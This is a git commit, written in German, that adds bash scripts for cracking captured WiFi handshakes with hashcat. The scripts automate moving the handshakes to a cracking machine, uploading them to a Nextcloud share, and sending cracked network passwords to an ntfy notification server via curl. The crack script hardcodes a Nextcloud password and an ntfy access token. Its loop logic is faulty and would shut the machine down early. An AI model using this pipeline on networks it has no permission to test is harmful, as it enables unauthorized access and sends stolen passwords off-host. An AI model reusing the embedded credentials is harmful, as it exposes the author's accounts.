commit 85d046ce8c7c9e2ae470bfaaa8cbb4bcdec87c20 Author: Ratatoskr Date: Sun Jun 9 12:20:59 2024 +0200 Initialer Commit: Hinzufügen von Shell-Skripten diff --git a/README.md b/README.md new file mode 100644 index 0000000..a944c62 --- /dev/null +++ b/README.md @@ -0,0 +1,15 @@ +# Skripte Beschreibung + +Dieses Verzeichnis enthält mehrere Bash-Skripte für verschiedene Aufgaben. + +## 1. wait_and_reboot.sh + +Dieses Skript wartet 30 Sekunden und startet dann das Betriebssystem neu, indem es den dritten Eintrag im Grub-Menü auswählt. + +## 2. crack_handshakes.sh + +Dieses Skript wurde für das Knacken von WiFi-Handshakes entwickelt. Es verwendet Hashcat, um Passwörter zu brechen, und Nextcloud, um die Handshakes hochzuladen. + +## 3. transfer_and_start.sh + +Dieses Skript überträgt WiFi-Handshakes auf einen Remote-Host und startet dann das `crack_handshakes.sh`-Skript in einer tmux-Sitzung auf dem Remote-Host. diff --git a/autoboot_win.sh b/autoboot_win.sh new file mode 100644 index 0000000..5985c6e --- /dev/null +++ b/autoboot_win.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +#sleep 30 sec +sleep 30s + +# reboot to windows +grub-reboot 2 diff --git a/crack_handshakes.sh b/crack_handshakes.sh new file mode 100644 index 0000000..56f8a9b --- /dev/null +++ b/crack_handshakes.sh @@ -0,0 +1,79 @@ +#!/bin/bash + +# Verzeichnisse definieren +handshake_dir="/root/handshakes/test/" +wordlist="/media/michaelis/Games/Wordlists/wpa.txt" +output_dir="$handshake_dir/output" +cracked_dir="$handshake_dir/cracked" +not_cracked_dir="$handshake_dir/not_cracked" +session_file="$handshake_dir/hashcat.restore" + +# Nextcloud WebDAV-Einstellungen +nextcloud_url="https://cloud.michaelis.digital/remote.php/dav/files/Michaelis/PenTest/grabz/" +username="Michaelis" +password="BD2KS-izswe-gGBJA-Pas9G-M8tKR" + +# Prüfen, ob eine Hashcat-Sitzung wiederhergestellt werden kann +if [ -f "$session_file" ]; then + echo "Eine Hashcat-Sitzung wird wiederhergestellt..." + hashcat --restore "$session_file" +fi + +# Erstelle Ausgabe- und Ergebnisordner, falls nicht vorhanden +mkdir -p "$output_dir" "$cracked_dir" "$not_cracked_dir" + +bruteforce_handshake() { + local total_handshakes=$(find "$handshake_dir" -maxdepth 1 -type f -name '*.22000' | wc -l) + local current_handshake=0 + + # Durch alle Handshakes gehen + for handshake in "$handshake_dir"/*.22000; do + ((current_handshake++)) + handshake_filename=$(basename "$handshake") + network_name="${handshake_filename%.22000}" + + # Überspringe Handshakes, die bereits bearbeitet wurden + if [ -f "$cracked_dir/$handshake_filename" ] || [ -f "$not_cracked_dir/$handshake_filename" ]; then + echo "Handshake $handshake_filename wurde bereits bearbeitet, überspringen..." + continue + else + curl -H "Priority:High" -d "Alle Handshakes bearbeitet" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + shutdown -h now + fi + + # Benachrichtigung: Neuer Handshake gestartet + curl -H "Priority:High" -d "Neuer Handshake gestartet: $network_name ($current_handshake von $total_handshakes)" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + + # Hochladen des Verzeichnisses auf Nextcloud + curl -X PUT -u "$username:$password" --data-binary @"$handshake_dir" "$nextcloud_url" + + # Variable zum Überprüfen, ob der Handshake geknackt wurde + local cracked=false + + # Handshake knacken + hashcat -m 22000 -a 0 -o "$output_dir/cracked.txt" "$handshake" "$wordlist" -w 3 --status + + # Überprüfen, ob das Passwort gefunden wurde + if grep -q "$network_name" "$output_dir/cracked.txt"; then + echo "Passwort für $network_name gefunden" + echo "Netzwerk: $network_name, Passwort: $(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2)" >> "$output_dir/results.txt" + mv "$handshake" "$cracked_dir/" + cracked=true + + # Benachrichtigung: Handshake geknackt + curl -H "Priority:High" -d "Passwort für $network_name gefunden: $(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2)" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + fi + + # Wenn der Handshake nicht geknackt wurde, verschiebe ihn in den not_cracked Ordner + if [ "$cracked" = false ]; then + echo "Passwort für $network_name nicht gefunden" + mv "$handshake" "$not_cracked_dir/" + + # Benachrichtigung: Handshake nicht geknackt + curl -H "Priority:High" -d "Passwort für $network_name nicht gefunden" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + fi + done +} + +# Main +bruteforce_handshake diff --git a/long_press.sh b/long_press.sh new file mode 100644 index 0000000..16bbc27 --- /dev/null +++ b/long_press.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +# Boot Linux +etherwake 70:85:c2:d1:40:ef + +while ! ssh root@192.168.178.80 "pkill autoboot_win.sh"; do # kill autoboot_win script, to stay at Linux + echo "warte 1 sec." + sleep 1 +done + + +# transfer handshakes +scp /root/handshakes/*.22000 root@192.168.178.80:/root/handshakes/ + +# start crack_handshakes.sh +ssh root@192.168.178.80 "tmux new-session -d -s crack_handshakes '/root/crack_handshakes.sh'" +